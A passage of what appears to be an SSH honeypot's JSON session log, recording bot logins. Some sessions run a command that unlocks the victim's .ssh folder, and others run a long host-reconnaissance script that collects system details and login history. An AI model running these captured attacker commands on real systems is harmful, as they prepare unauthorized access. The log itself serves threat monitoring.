2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:53:23.980401+00:00",
  "ended_at": "2026-08-27T04:53:24.381520+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b5bba471-99e3-423c-8ba7-37da07b04f53",
  "name": "electric-keen-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39874,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:53:22.580290+00:00",
  "ended_at": "2026-08-27T04:53:23.749603+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7a65124-2460-4337-9d44-8de2fa829983",
  "name": "austere-brazen-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 38690,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:51:35.348477+00:00",
  "ended_at": "2026-08-27T04:51:37.531776+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2231
 },
 {
  "id": "b17f3e9b-a8a3-4750-8ecf-60b0f65b6748",
  "name": "quaint-flinty-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 55344,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:51:29.378425+00:00",
  "ended_at": "2026-08-27T04:51:34.176009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7814b32-eb84-4fd2-aa98-60897ddc816e",
  "name": "zealous-canny-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 57836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:51:21.367488+00:00",
  "ended_at": "2026-08-27T04:51:21.917564+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "940211c1-638f-4edc-9833-7d503d0daddc",
  "name": "barren-austere-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38702,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:51:20.671531+00:00",
  "ended_at": "2026-08-27T04:51:22.607667+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "100a10b2-5b25-4130-9e1f-4a5df4b996ad",
  "name": "quartz-tranquil-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38698,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:51:18.220260+00:00",
  "ended_at": "2026-08-27T04:51:20.045369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6605346a-8a20-4279-a7a3-5fd74ee2e6f4",
  "name": "curious-ashen-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37838,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:49:31.561384+00:00",
  "ended_at": "2026-08-27T04:49:32.739291+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2225
 },
 {
  "id": "626c5aa7-65f4-41d6-bf9d-52e74d65a505",
  "name": "eager-daring-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 57458,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:49:16.913803+00:00",
  "ended_at": "2026-08-27T04:49:18.278519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f6c09eca-5ffc-499d-b9df-969afa7cc01b",
  "name": "marine-grassy-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37852,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:49:14.954393+00:00",
  "ended_at": "2026-08-27T04:49:16.291831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a44f1e9-c3c6-4b0c-923d-a205c3ef9fc6",
  "name": "fleeting-pristine-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 54876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:49:14.896325+00:00",
  "ended_at": "2026-08-27T04:49:15.672073+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "99818851-7ea4-4d62-913b-65273d776767",
  "name": "barren-airy-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42160,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:47:24.670832+00:00",
  "ended_at": "2026-08-27T04:47:26.373253+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "118dee24-85e4-4453-967a-68c1b51c952f",
  "name": "balmy-marbled-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 51932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:47:20.478481+00:00",
  "ended_at": "2026-08-27T04:47:20.630927+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4c7e9bc1-9fe3-4e05-a308-75e2af031077",
  "name": "polar-feral-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:47:08.695127+00:00",
  "ended_at": "2026-08-27T04:47:10.304877+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9856a6fa-6a7d-4dfd-94e3-367049e847a0",
  "name": "seaward-opal-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54350,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:47:07.207079+00:00",
  "ended_at": "2026-08-27T04:47:08.080840+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "32390375-03a6-4932-b23a-2a9799a38047",
  "name": "faded-jaunty-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 47740,
  "username": "redmine",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:46:07.520073+00:00",
  "ended_at": "2026-08-27T04:50:08.217838+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "8d1d44ba-d548-40c2-9bff-c2694f2ca2bd",
  "name": "dapper-windswept-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 43532,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:45:24.577959+00:00",
  "ended_at": "2026-08-27T04:45:25.818090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "5d2f347d-0292-46bc-aba6-5d5423f59cc1",
  "name": "smooth-quiet-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 48934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:45:22.272937+00:00",
  "ended_at": "2026-08-27T04:45:22.509150+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "12f4f41c-6dd2-47b4-aa8e-a9abffba547e",
  "name": "painted-somber-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43550,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:45:10.251473+00:00",
  "ended_at": "2026-08-27T04:45:10.943304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f93c72ce-575e-42a7-9c1e-a198d90871c1",
  "name": "cheerful-russet-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
